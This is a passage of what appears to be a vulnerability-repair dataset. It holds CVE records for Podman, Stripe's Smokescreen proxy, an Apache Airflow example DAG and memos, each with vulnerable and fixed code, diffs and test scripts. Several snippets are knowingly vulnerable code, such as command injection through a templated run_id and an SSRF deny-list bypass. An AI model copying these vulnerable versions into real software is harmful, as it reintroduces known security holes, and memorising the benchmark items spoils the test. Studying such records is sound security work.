{\n\t\t\tlogrus.Infof(\"Sysctl %s=%s ignored in containers.conf, since UTS Namespace set to host\", sysctlKey, sysctlVal)\n\t\t\tcontinue\n\t\t}\n\n\t\tg.AddLinuxSysctl(sysctlKey, sysctlVal)\n\t}\n\n\tfor sysctlKey, sysctlVal := range s.Sysctl {\n\t\tif s.IpcNS.IsHost() && strings.HasPrefix(sysctlKey, \"fs.mqueue.\") {\n\t\t\treturn errors.Wrapf(define.ErrInvalidArg, \"sysctl %s=%s can't be set since IPC Namespace set to host\", sysctlKey, sysctlVal)\n\t\t}\n\n\t\t// Ignore net sysctls if --net=host\n\t\tif s.NetNS.IsHost() && strings.HasPrefix(sysctlKey, \"net.\") {\n\t\t\treturn errors.Wrapf(define.ErrInvalidArg, \"sysctl %s=%s can't be set since Network Namespace set to host\", sysctlKey, sysctlVal)\n\t\t}\n\n\t\t// Ignore uts sysctls if --uts=host\n\t\tif s.UtsNS.IsHost() && (strings.HasPrefix(sysctlKey, \"kernel.domainname\") || strings.HasPrefix(sysctlKey, \"kernel.hostname\")) {\n\t\t\treturn errors.Wrapf(define.ErrInvalidArg, \"sysctl %s=%s can't be set since UTS Namespace set to host\", sysctlKey, sysctlVal)\n\t\t}\n\n\t\tg.AddLinuxSysctl(sysctlKey, sysctlVal)\n\t}\n\n\treturn nil\n}"}], "vul_patch": "--- a/libpod/oci_conmon_exec_linux.go\n+++ b/libpod/oci_conmon_exec_linux.go\n@@ -92,11 +92,14 @@\n \t} else {\n \t\tpspec.Capabilities.Bounding = ctrSpec.Process.Capabilities.Bounding\n \t}\n+\n+\t// Always unset the inheritable capabilities similarly to what the Linux kernel does\n+\t// They are used only when using capabilities with uid != 0.\n+\tpspec.Capabilities.Inheritable = []string{}\n+\n \tif execUser.Uid == 0 {\n \t\tpspec.Capabilities.Effective = pspec.Capabilities.Bounding\n-\t\tpspec.Capabilities.Inheritable = pspec.Capabilities.Bounding\n \t\tpspec.Capabilities.Permitted = pspec.Capabilities.Bounding\n-\t\tpspec.Capabilities.Ambient = pspec.Capabilities.Bounding\n \t} else {\n \t\tif user == c.config.User {\n \t\t\tpspec.Capabilities.Effective = ctrSpec.Process.Capabilities.Effective\n\n--- a/pkg/specgen/generate/security.go\n+++ b/pkg/specgen/generate/security.go\n@@ -64,6 +64,10 @@\n \n \tconfigSpec := g.Config\n \tconfigSpec.Process.Capabilities.Ambient = []string{}\n+\n+\t// Always unset the inheritable capabilities similarly to what the Linux kernel does\n+\t// They are used only when using capabilities with uid != 0.\n+\tconfigSpec.Process.Capabilities.Inheritable = []string{}\n \tconfigSpec.Process.Capabilities.Bounding = caplist\n \n \tuser := strings.Split(s.User, \":\")[0]\n@@ -71,7 +75,6 @@\n \tif (user == \"\" && s.UserNS.NSMode != specgen.KeepID) || user == \"root\" || user == \"0\" {\n \t\tconfigSpec.Process.Capabilities.Effective = caplist\n \t\tconfigSpec.Process.Capabilities.Permitted = caplist\n-\t\tconfigSpec.Process.Capabilities.Inheritable = caplist\n \t} else {\n \t\tmergedCaps, err := capabilities.MergeCapabilities(nil, s.CapAdd, nil)\n \t\tif err != nil {\n@@ -93,12 +96,12 @@\n \t\t}\n \t\tconfigSpec.Process.Capabilities.Effective = userCaps\n \t\tconfigSpec.Process.Capabilities.Permitted = userCaps\n-\t\tconfigSpec.Process.Capabilities.Inheritable = userCaps\n \n \t\t// Ambient capabilities were added to Linux 4.3.  Set ambient\n \t\t// capabilities only when the kernel supports them.\n \t\tif supportAmbientCapabilities() {\n \t\t\tconfigSpec.Process.Capabilities.Ambient = userCaps\n+\t\t\tconfigSpec.Process.Capabilities.Inheritable = userCaps\n \t\t}\n \t}\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-29188", "cve_description": "Smokescreen is an HTTP proxy. The primary use case for Smokescreen is to prevent server-side request forgery (SSRF) attacks in which external attackers leverage the behavior of applications to connect to or scan internal infrastructure. Smokescreen also offers an option to deny access to additional (e.g., external) URLs by way of a deny list. There was an issue in Smokescreen that made it possible to bypass the deny list feature by surrounding the hostname with square brackets (e.g. `[example.com]`). This only impacted the HTTP proxy functionality of Smokescreen. HTTPS requests were not impacted. Smokescreen version 0.0.4 contains a patch for this issue.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/stripe/smokescreen", "patch_url": ["https://github.com/stripe/smokescreen/commit/dea7b3c89df000f4072ff9866d61d78e30df6a36"], "programing_language": "Go", "vul_func": [{"id": "vul_go_7_1", "commit": "e589a2f", "file_path": "pkg/smokescreen/smokescreen.go", "start_line": 417, "end_line": 540, "snippet": "func BuildProxy(config *Config) *goproxy.ProxyHttpServer {\n\tproxy := goproxy.NewProxyHttpServer()\n\tproxy.Verbose = false\n\tconfigureTransport(proxy.Tr, config)\n\n\t// dialContext will be invoked for both CONNECT and traditional proxy requests\n\tproxy.Tr.DialContext = dialContext\n\n\t// Use a custom goproxy.RoundTripperFunc to ensure that the correct context is attached to the request.\n\t// This is only used for non-CONNECT HTTP proxy requests. For connect requests, goproxy automatically\n\t// attaches goproxy.ProxyCtx prior to calling dialContext.\n\trtFn := goproxy.RoundTripperFunc(func(req *http.Request, pctx *goproxy.ProxyCtx) (*http.Response, error) {\n\t\tctx := context.WithValue(req.Context(), goproxy.ProxyContextKey, pctx)\n\t\treturn proxy.Tr.RoundTrip(req.WithContext(ctx))\n\t})\n\n\t// Associate a timeout with the CONNECT proxy client connection\n\tif config.IdleTimeout != 0 {\n\t\tproxy.ConnectClientConnHandler = func(conn net.Conn) net.Conn {\n\t\t\treturn NewTimeoutConn(conn, config.IdleTimeout)\n\t\t}\n\t}\n\n\t// Handle traditional HTTP proxy\n\tproxy.OnRequest().DoFunc(func(req *http.Request, pctx *goproxy.ProxyCtx) (*http.Request, *http.Response) {\n\n\t\t// We are intentionally *not* setting pctx.HTTPErrorHandler because with traditional HTTP\n\t\t// proxy requests we are able to specify the request during the call to OnResponse().\n\t\tsctx := newContext(config, httpProxy, req)\n\n\t\t// Attach smokescreenContext to goproxy.ProxyCtx\n\t\tpctx.UserData = sctx\n\n\t\t// Delete Smokescreen specific headers before goproxy forwards the request\n\t\tdefer func() {\n\t\t\treq.Header.Del(roleHeader)\n\t\t\treq.Header.Del(traceHeader)\n\t\t}()\n\n\t\t// Set this on every request as every request mints a new goproxy.ProxyCtx\n\t\tpctx.RoundTripper = rtFn\n\n\t\t// Build an address parsable by net.ResolveTCPAddr\n\t\tremoteHost := req.Host\n\t\tif strings.LastIndex(remoteHost, \":\") <= strings.LastIndex(remoteHost, \"]\") {\n\t\t\tswitch req.URL.Scheme {\n\t\t\tcase \"http\":\n\t\t\t\tremoteHost = net.JoinHostPort(remoteHost, \"80\")\n\t\t\tcase \"https\":\n\t\t\t\tremoteHost = net.JoinHostPort(remoteHost, \"443\")\n\t\t\tdefault:\n\t\t\t\tremoteHost = net.JoinHostPort(remoteHost, \"0\")\n\t\t\t}\n\t\t}\n\n\t\tsctx.logger.WithField(\"url\", req.RequestURI).Debug(\"received HTTP proxy request\")\n\n\t\tsctx.decision, sctx.lookupTime, pctx.Error = checkIfRequestShouldBeProxied(config, req, remoteHost)\n\n\t\t// Returning any kind of response in this handler is goproxy's way of short circuiting\n\t\t// the request. The original request will never be sent, and goproxy will invoke our\n\t\t// response filter attached via the OnResponse() handler.\n\t\tif pctx.Error != nil {\n\t\t\treturn req, rejectResponse(pctx, pctx.Error)\n\t\t}\n\t\tif !sctx.decision.allow {\n\t\t\treturn req, rejectResponse(pctx, denyError{errors.New(sctx.decision.reason)})\n\t\t}\n\n\t\t// Proceed with proxying the request\n\t\treturn req, nil\n\t})\n\n\t// Handle CONNECT proxy to TLS & other TCP protocols destination\n\tproxy.OnRequest().HandleConnectFunc(func(host string, pctx *goproxy.ProxyCtx) (*goproxy.ConnectAction, string) {\n\t\tpctx.UserData = newContext(config, connectProxy, pctx.Req)\n\t\tpctx.HTTPErrorHandler = HTTPErrorHandler\n\n\t\t// Defer logging the proxy event here because logProxy relies\n\t\t// on state set in handleConnect\n\t\tdefer logProxy(config, pctx)\n\t\tdefer pctx.Req.Header.Del(traceHeader)\n\n\t\terr := handleConnect(config, pctx)\n\t\tif err != nil {\n\t\t\tpctx.Resp = rejectResponse(pctx, err)\n\t\t\treturn goproxy.RejectConnect, \"\"\n\t\t}\n\t\treturn goproxy.OkConnect, host\n\t})\n\n\t// Strangely, goproxy can invoke this same function twice for a single HTTP request.\n\t//\n\t// If a proxy request is rejected due to an ACL denial, the response passed to this\n\t// function was created by Smokescreen's call to rejectResponse() in the OnRequest()\n\t// handler. This only happens once. This is also the behavior for an allowed request\n\t// which is completed successfully.\n\t//\n\t// If a proxy request is allowed, but the RoundTripper returns an error fulfulling\n\t// the HTTP request, goproxy will invoke this OnResponse() filter twice. First this\n\t// function will be called with a nil response, and as a result this function will\n\t// return a response to send back to the proxy client using rejectResponse(). This\n\t// function will be called again with the previously returned response, which will\n\t// simply trigger the logHTTP function and return.\n\tproxy.OnResponse().DoFunc(func(resp *http.Response, pctx *goproxy.ProxyCtx) *http.Response {\n\t\tsctx := pctx.UserData.(*smokescreenContext)\n\n\t\tif resp != nil && resp.Header.Get(errorHeader) != \"\" {\n\t\t\tif pctx.Error == nil && sctx.decision.allow {\n\t\t\t\tresp.Header.Del(errorHeader)\n\t\t\t}\n\t\t}\n\n\t\tif resp == nil && pctx.Error != nil {\n\t\t\treturn rejectResponse(pctx, pctx.Error)\n\t\t}\n\n\t\t// In case of an error, this function is called a second time to filter the\n\t\t// response we generate so this logger will be called once.\n\t\tlogProxy(config, pctx)\n\t\treturn resp\n\t})\n\treturn proxy\n}"}, {"id": "vul_go_7_2", "commit": "e589a2f", "file_path": "pkg/smokescreen/smokescreen.go", "start_line": 599, "end_line": 612, "snippet": "func handleConnect(config *Config, pctx *goproxy.ProxyCtx) error {\n\tsctx := pctx.UserData.(*smokescreenContext)\n\n\t// Check if requesting role is allowed to talk to remote\n\tsctx.decision, sctx.lookupTime, pctx.Error = checkIfRequestShouldBeProxied(config, pctx.Req, pctx.Req.Host)\n\tif pctx.Error != nil {\n\t\treturn pctx.Error\n\t}\n\tif !sctx.decision.allow {\n\t\treturn denyError{errors.New(sctx.decision.reason)}\n\t}\n\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_7_1", "commit": "dea7b3c89df000f4072ff9866d61d78e30df6a36", "file_path": "pkg/smokescreen/smokescreen.go", "start_line": 417, "end_line": 540, "snippet": "func BuildProxy(config *Config) *goproxy.ProxyHttpServer {\n\tproxy := goproxy.NewProxyHttpServer()\n\tproxy.Verbose = false\n\tconfigureTransport(proxy.Tr, config)\n\n\t// dialContext will be invoked for both CONNECT and traditional proxy requests\n\tproxy.Tr.DialContext = dialContext\n\n\t// Use a custom goproxy.RoundTripperFunc to ensure that the correct context is attached to the request.\n\t// This is only used for non-CONNECT HTTP proxy requests. For connect requests, goproxy automatically\n\t// attaches goproxy.ProxyCtx prior to calling dialContext.\n\trtFn := goproxy.RoundTripperFunc(func(req *http.Request, pctx *goproxy.ProxyCtx) (*http.Response, error) {\n\t\tctx := context.WithValue(req.Context(), goproxy.ProxyContextKey, pctx)\n\t\treturn proxy.Tr.RoundTrip(req.WithContext(ctx))\n\t})\n\n\t// Associate a timeout with the CONNECT proxy client connection\n\tif config.IdleTimeout != 0 {\n\t\tproxy.ConnectClientConnHandler = func(conn net.Conn) net.Conn {\n\t\t\treturn NewTimeoutConn(conn, config.IdleTimeout)\n\t\t}\n\t}\n\n\t// Handle traditional HTTP proxy\n\tproxy.OnRequest().DoFunc(func(req *http.Request, pctx *goproxy.ProxyCtx) (*http.Request, *http.Response) {\n\n\t\t// We are intentionally *not* setting pctx.HTTPErrorHandler because with traditional HTTP\n\t\t// proxy requests we are able to specify the request during the call to OnResponse().\n\t\tsctx := newContext(config, httpProxy, req)\n\n\t\t// Attach smokescreenContext to goproxy.ProxyCtx\n\t\tpctx.UserData = sctx\n\n\t\t// Delete Smokescreen specific headers before goproxy forwards the request\n\t\tdefer func() {\n\t\t\treq.Header.Del(roleHeader)\n\t\t\treq.Header.Del(traceHeader)\n\t\t}()\n\n\t\t// Set this on every request as every request mints a new goproxy.ProxyCtx\n\t\tpctx.RoundTripper = rtFn\n\n\t\t// Build an address parsable by net.ResolveTCPAddr\n\t\tremoteHost := req.URL.Hostname()\n\t\tif strings.LastIndex(remoteHost, \":\") <= strings.LastIndex(remoteHost, \"]\") {\n\t\t\tswitch req.URL.Scheme {\n\t\t\tcase \"http\":\n\t\t\t\tremoteHost = net.JoinHostPort(remoteHost, \"80\")\n\t\t\tcase \"https\":\n\t\t\t\tremoteHost = net.JoinHostPort(remoteHost, \"443\")\n\t\t\tdefault:\n\t\t\t\tremoteHost = net.JoinHostPort(remoteHost, \"0\")\n\t\t\t}\n\t\t}\n\n\t\tsctx.logger.WithField(\"url\", req.RequestURI).Debug(\"received HTTP proxy request\")\n\n\t\tsctx.decision, sctx.lookupTime, pctx.Error = checkIfRequestShouldBeProxied(config, req, remoteHost)\n\n\t\t// Returning any kind of response in this handler is goproxy's way of short circuiting\n\t\t// the request. The original request will never be sent, and goproxy will invoke our\n\t\t// response filter attached via the OnResponse() handler.\n\t\tif pctx.Error != nil {\n\t\t\treturn req, rejectResponse(pctx, pctx.Error)\n\t\t}\n\t\tif !sctx.decision.allow {\n\t\t\treturn req, rejectResponse(pctx, denyError{errors.New(sctx.decision.reason)})\n\t\t}\n\n\t\t// Proceed with proxying the request\n\t\treturn req, nil\n\t})\n\n\t// Handle CONNECT proxy to TLS & other TCP protocols destination\n\tproxy.OnRequest().HandleConnectFunc(func(host string, pctx *goproxy.ProxyCtx) (*goproxy.ConnectAction, string) {\n\t\tpctx.UserData = newContext(config, connectProxy, pctx.Req)\n\t\tpctx.HTTPErrorHandler = HTTPErrorHandler\n\n\t\t// Defer logging the proxy event here because logProxy relies\n\t\t// on state set in handleConnect\n\t\tdefer logProxy(config, pctx)\n\t\tdefer pctx.Req.Header.Del(traceHeader)\n\n\t\terr := handleConnect(config, pctx)\n\t\tif err != nil {\n\t\t\tpctx.Resp = rejectResponse(pctx, err)\n\t\t\treturn goproxy.RejectConnect, \"\"\n\t\t}\n\t\treturn goproxy.OkConnect, host\n\t})\n\n\t// Strangely, goproxy can invoke this same function twice for a single HTTP request.\n\t//\n\t// If a proxy request is rejected due to an ACL denial, the response passed to this\n\t// function was created by Smokescreen's call to rejectResponse() in the OnRequest()\n\t// handler. This only happens once. This is also the behavior for an allowed request\n\t// which is completed successfully.\n\t//\n\t// If a proxy request is allowed, but the RoundTripper returns an error fulfulling\n\t// the HTTP request, goproxy will invoke this OnResponse() filter twice. First this\n\t// function will be called with a nil response, and as a result this function will\n\t// return a response to send back to the proxy client using rejectResponse(). This\n\t// function will be called again with the previously returned response, which will\n\t// simply trigger the logHTTP function and return.\n\tproxy.OnResponse().DoFunc(func(resp *http.Response, pctx *goproxy.ProxyCtx) *http.Response {\n\t\tsctx := pctx.UserData.(*smokescreenContext)\n\n\t\tif resp != nil && resp.Header.Get(errorHeader) != \"\" {\n\t\t\tif pctx.Error == nil && sctx.decision.allow {\n\t\t\t\tresp.Header.Del(errorHeader)\n\t\t\t}\n\t\t}\n\n\t\tif resp == nil && pctx.Error != nil {\n\t\t\treturn rejectResponse(pctx, pctx.Error)\n\t\t}\n\n\t\t// In case of an error, this function is called a second time to filter the\n\t\t// response we generate so this logger will be called once.\n\t\tlogProxy(config, pctx)\n\t\treturn resp\n\t})\n\treturn proxy\n}"}, {"id": "fix_go_7_2", "commit": "dea7b3c89df000f4072ff9866d61d78e30df6a36", "file_path": "pkg/smokescreen/smokescreen.go", "start_line": 599, "end_line": 612, "snippet": "func handleConnect(config *Config, pctx *goproxy.ProxyCtx) error {\n\tsctx := pctx.UserData.(*smokescreenContext)\n\n\t// Check if requesting role is allowed to talk to remote\n\tsctx.decision, sctx.lookupTime, pctx.Error = checkIfRequestShouldBeProxied(config, pctx.Req, pctx.Req.URL.Hostname())\n\tif pctx.Error != nil {\n\t\treturn pctx.Error\n\t}\n\tif !sctx.decision.allow {\n\t\treturn denyError{errors.New(sctx.decision.reason)}\n\t}\n\n\treturn nil\n}"}], "vul_patch": "--- a/pkg/smokescreen/smokescreen.go\n+++ b/pkg/smokescreen/smokescreen.go\n@@ -41,7 +41,7 @@\n \t\tpctx.RoundTripper = rtFn\n \n \t\t// Build an address parsable by net.ResolveTCPAddr\n-\t\tremoteHost := req.Host\n+\t\tremoteHost := req.URL.Hostname()\n \t\tif strings.LastIndex(remoteHost, \":\") <= strings.LastIndex(remoteHost, \"]\") {\n \t\t\tswitch req.URL.Scheme {\n \t\t\tcase \"http\":\n\n--- a/pkg/smokescreen/smokescreen.go\n+++ b/pkg/smokescreen/smokescreen.go\n@@ -2,7 +2,7 @@\n \tsctx := pctx.UserData.(*smokescreenContext)\n \n \t// Check if requesting role is allowed to talk to remote\n-\tsctx.decision, sctx.lookupTime, pctx.Error = checkIfRequestShouldBeProxied(config, pctx.Req, pctx.Req.Host)\n+\tsctx.decision, sctx.lookupTime, pctx.Error = checkIfRequestShouldBeProxied(config, pctx.Req, pctx.Req.URL.Hostname())\n \tif pctx.Error != nil {\n \t\treturn pctx.Error\n \t}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-29188:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/smokescreen\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestHostSquareBrackets$ github.com/stripe/smokescreen/pkg/smokescreen\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-29188:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/smokescreen\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 120s -run '^(TestShuttingDownValue|TestClassifyAddr|TestErrorHeader|TestClearsErrorHeader|TestHealthcheck|TestConsistentHostHeader|TestUnsafeAllowPrivateRanges|TestClearsTraceIDHeader|TestRejectResponseHandler)$' github.com/stripe/smokescreen/pkg/smokescreen"}
{"cve_id": "CVE-2022-40127", "cve_description": "A vulnerability in Example Dags of Apache Airflow allows an attacker with UI access who can trigger DAGs, to execute arbitrary commands via manually provided run_id parameter. This issue affects Apache Airflow Apache Airflow versions prior to 2.4.0.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/apache/airflow", "patch_url": ["https://github.com/apache/airflow/commit/372e699c2d1e11f7087b5340454d0a0a6a56fbf5"], "programing_language": "Python", "vul_func": [{"id": "vul_py_268_1", "commit": "f94176b", "file_path": "airflow/example_dags/example_bash_operator.py", "start_line": 29, "end_line": 64, "snippet": "with DAG(\n    dag_id='example_bash_operator',\n    schedule='0 0 * * *',\n    start_date=pendulum.datetime(2021, 1, 1, tz=\"UTC\"),\n    catchup=False,\n    dagrun_timeout=datetime.timedelta(minutes=60),\n    tags=['example', 'example2'],\n    params={\"example_key\": \"example_value\"},\n) as dag:\n    run_this_last = EmptyOperator(\n        task_id='run_this_last',\n    )\n\n    # [START howto_operator_bash]\n    run_this = BashOperator(\n        task_id='run_after_loop',\n        bash_command='echo 1',\n    )\n    # [END howto_operator_bash]\n\n    run_this >> run_this_last\n\n    for i in range(3):\n        task = BashOperator(\n            task_id='runme_' + str(i),\n            bash_command='echo \"{{ task_instance_key_str }}\" && sleep 1',\n        )\n        task >> run_this\n\n    # [START howto_operator_bash_template]\n    also_run_this = BashOperator(\n        task_id='also_run_this',\n        bash_command='echo \"run_id={{ run_id }} | dag_run={{ dag_run }}\"',\n    )\n    # [END howto_operator_bash_template]\n    also_run_this >> run_this_last"}], "fix_func": [{"id": "fix_py_268_1", "commit": "372e699", "file_path": "airflow/example_dags/example_bash_operator.py", "start_line": 29, "end_line": 64, "snippet": "with DAG(\n    dag_id='example_bash_operator',\n    schedule='0 0 * * *',\n    start_date=pendulum.datetime(2021, 1, 1, tz=\"UTC\"),\n    catchup=False,\n    dagrun_timeout=datetime.timedelta(minutes=60),\n    tags=['example', 'example2'],\n    params={\"example_key\": \"example_value\"},\n) as dag:\n    run_this_last = EmptyOperator(\n        task_id='run_this_last',\n    )\n\n    # [START howto_operator_bash]\n    run_this = BashOperator(\n        task_id='run_after_loop',\n        bash_command='echo 1',\n    )\n    # [END howto_operator_bash]\n\n    run_this >> run_this_last\n\n    for i in range(3):\n        task = BashOperator(\n            task_id='runme_' + str(i),\n            bash_command='echo \"{{ task_instance_key_str }}\" && sleep 1',\n        )\n        task >> run_this\n\n    # [START howto_operator_bash_template]\n    also_run_this = BashOperator(\n        task_id='also_run_this',\n        bash_command='echo \"ti_key={{ task_instance_key_str }}\"',\n    )\n    # [END howto_operator_bash_template]\n    also_run_this >> run_this_last"}], "vul_patch": "--- a/airflow/example_dags/example_bash_operator.py\n+++ b/airflow/example_dags/example_bash_operator.py\n@@ -30,7 +30,7 @@\n     # [START howto_operator_bash_template]\n     also_run_this = BashOperator(\n         task_id='also_run_this',\n-        bash_command='echo \"run_id={{ run_id }} | dag_run={{ dag_run }}\"',\n+        bash_command='echo \"ti_key={{ task_instance_key_str }}\"',\n     )\n     # [END howto_operator_bash_template]\n     also_run_this >> run_this_last\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-4696", "cve_description": "Improper Access Control in GitHub repository usememos/memos prior to 0.13.2.", "cwe_info": {"CWE-284": {"name": "Improper Access Control", "description": "The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor."}}, "repo": "https://github.com/usememos/memos", "patch_url": ["https://github.com/usememos/memos/commit/c9aa2eeb9852047e4f41915eb30726bd25f07ecd"], "programing_language": "Go", "vul_func": [{"id": "vul_go_197_1", "commit": "63d6b6f", "file_path": "server/jwt.go", "start_line": 75, "end_line": 206, "snippet": "func JWTMiddleware(server *Server, next echo.HandlerFunc, secret string) echo.HandlerFunc {\n\treturn func(c echo.Context) error {\n\t\tpath := c.Request().URL.Path\n\t\tmethod := c.Request().Method\n\n\t\tif server.defaultAuthSkipper(c) {\n\t\t\treturn next(c)\n\t\t}\n\n\t\t// Skip validation for server status endpoints.\n\t\tif common.HasPrefixes(path, \"/api/ping\", \"/api/v1/idp\", \"/api/user/:id\") && method == http.MethodGet {\n\t\t\treturn next(c)\n\t\t}\n\n\t\ttoken := findAccessToken(c)\n\t\tif token == \"\" {\n\t\t\t// Allow the user to access the public endpoints.\n\t\t\tif common.HasPrefixes(path, \"/o\") {\n\t\t\t\treturn next(c)\n\t\t\t}\n\t\t\t// When the request is not authenticated, we allow the user to access the memo endpoints for those public memos.\n\t\t\tif common.HasPrefixes(path, \"/api/status\", \"/api/memo\") && method == http.MethodGet {\n\t\t\t\treturn next(c)\n\t\t\t}\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Missing access token\")\n\t\t}\n\n\t\tclaims := &Claims{}\n\t\taccessToken, err := jwt.ParseWithClaims(token, claims, func(t *jwt.Token) (any, error) {\n\t\t\tif t.Method.Alg() != jwt.SigningMethodHS256.Name {\n\t\t\t\treturn nil, errors.Errorf(\"unexpected access token signing method=%v, expect %v\", t.Header[\"alg\"], jwt.SigningMethodHS256)\n\t\t\t}\n\t\t\tif kid, ok := t.Header[\"kid\"].(string); ok {\n\t\t\t\tif kid == \"v1\" {\n\t\t\t\t\treturn []byte(secret), nil\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nil, errors.Errorf(\"unexpected access token kid=%v\", t.Header[\"kid\"])\n\t\t})\n\t\tif !audienceContains(claims.Audience, auth.AccessTokenAudienceName) {\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, fmt.Sprintf(\"Invalid access token, audience mismatch, got %q, expected %q.\", claims.Audience, auth.AccessTokenAudienceName))\n\t\t}\n\t\tgenerateToken := time.Until(claims.ExpiresAt.Time) < auth.RefreshThresholdDuration\n\t\tif err != nil {\n\t\t\tvar ve *jwt.ValidationError\n\t\t\tif errors.As(err, &ve) {\n\t\t\t\t// If expiration error is the only error, we will clear the err\n\t\t\t\t// and generate new access token and refresh token\n\t\t\t\tif ve.Errors == jwt.ValidationErrorExpired {\n\t\t\t\t\tgenerateToken = true\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, errors.Wrap(err, \"Invalid or expired access token\"))\n\t\t\t}\n\t\t}\n\n\t\t// We either have a valid access token or we will attempt to generate new access token and refresh token\n\t\tctx := c.Request().Context()\n\t\tuserID, err := strconv.Atoi(claims.Subject)\n\t\tif err != nil {\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Malformed ID in the token.\")\n\t\t}\n\n\t\t// Even if there is no error, we still need to make sure the user still exists.\n\t\tuser, err := server.Store.GetUser(ctx, &store.FindUserMessage{\n\t\t\tID: &userID,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn echo.NewHTTPError(http.StatusInternalServerError, fmt.Sprintf(\"Server error to find user ID: %d\", userID)).SetInternal(err)\n\t\t}\n\t\tif user == nil {\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, fmt.Sprintf(\"Failed to find user ID: %d\", userID))\n\t\t}\n\n\t\tif generateToken {\n\t\t\tgenerateTokenFunc := func() error {\n\t\t\t\trc, err := c.Cookie(auth.RefreshTokenCookieName)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Failed to generate access token. Missing refresh token.\")\n\t\t\t\t}\n\n\t\t\t\t// Parses token and checks if it's valid.\n\t\t\t\trefreshTokenClaims := &Claims{}\n\t\t\t\trefreshToken, err := jwt.ParseWithClaims(rc.Value, refreshTokenClaims, func(t *jwt.Token) (any, error) {\n\t\t\t\t\tif t.Method.Alg() != jwt.SigningMethodHS256.Name {\n\t\t\t\t\t\treturn nil, errors.Errorf(\"unexpected refresh token signing method=%v, expected %v\", t.Header[\"alg\"], jwt.SigningMethodHS256)\n\t\t\t\t\t}\n\n\t\t\t\t\tif kid, ok := t.Header[\"kid\"].(string); ok {\n\t\t\t\t\t\tif kid == \"v1\" {\n\t\t\t\t\t\t\treturn []byte(secret), nil\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\treturn nil, errors.Errorf(\"unexpected refresh token kid=%v\", t.Header[\"kid\"])\n\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\tif err == jwt.ErrSignatureInvalid {\n\t\t\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Failed to generate access token. Invalid refresh token signature.\")\n\t\t\t\t\t}\n\t\t\t\t\treturn echo.NewHTTPError(http.StatusInternalServerError, fmt.Sprintf(\"Server error to refresh expired token. User Id %d\", userID)).SetInternal(err)\n\t\t\t\t}\n\n\t\t\t\tif !audienceContains(refreshTokenClaims.Audience, auth.RefreshTokenAudienceName) {\n\t\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized,\n\t\t\t\t\t\tfmt.Sprintf(\"Invalid refresh token, audience mismatch, got %q, expected %q. you may send request to the wrong environment\",\n\t\t\t\t\t\t\trefreshTokenClaims.Audience,\n\t\t\t\t\t\t\tauth.RefreshTokenAudienceName,\n\t\t\t\t\t\t))\n\t\t\t\t}\n\n\t\t\t\t// If we have a valid refresh token, we will generate new access token and refresh token\n\t\t\t\tif refreshToken != nil && refreshToken.Valid {\n\t\t\t\t\tif err := auth.GenerateTokensAndSetCookies(c, user, secret); err != nil {\n\t\t\t\t\t\treturn echo.NewHTTPError(http.StatusInternalServerError, fmt.Sprintf(\"Server error to refresh expired token. User Id %d\", userID)).SetInternal(err)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\t// It may happen that we still have a valid access token, but we encounter issue when trying to generate new token\n\t\t\t// In such case, we won't return the error.\n\t\t\tif err := generateTokenFunc(); err != nil && !accessToken.Valid {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\t// Stores userID into context.\n\t\tc.Set(getUserIDContextKey(), userID)\n\t\treturn next(c)\n\t}\n}"}], "fix_func": [{"id": "fix_go_197_1", "commit": "c9aa2eeb9852047e4f41915eb30726bd25f07ecd", "file_path": "server/jwt.go", "start_line": 75, "end_line": 211, "snippet": "func JWTMiddleware(server *Server, next echo.HandlerFunc, secret string) echo.HandlerFunc {\n\treturn func(c echo.Context) error {\n\t\tpath := c.Request().URL.Path\n\t\tmethod := c.Request().Method\n\n\t\tif server.defaultAuthSkipper(c) {\n\t\t\treturn next(c)\n\t\t}\n\n\t\t// Skip validation for server status endpoints.\n\t\tif common.HasPrefixes(path, \"/api/ping\", \"/api/v1/idp\", \"/api/user/:id\") && method == http.MethodGet {\n\t\t\treturn next(c)\n\t\t}\n\n\t\ttoken := findAccessToken(c)\n\t\tif token == \"\" {\n\t\t\t// Allow the user to access the public 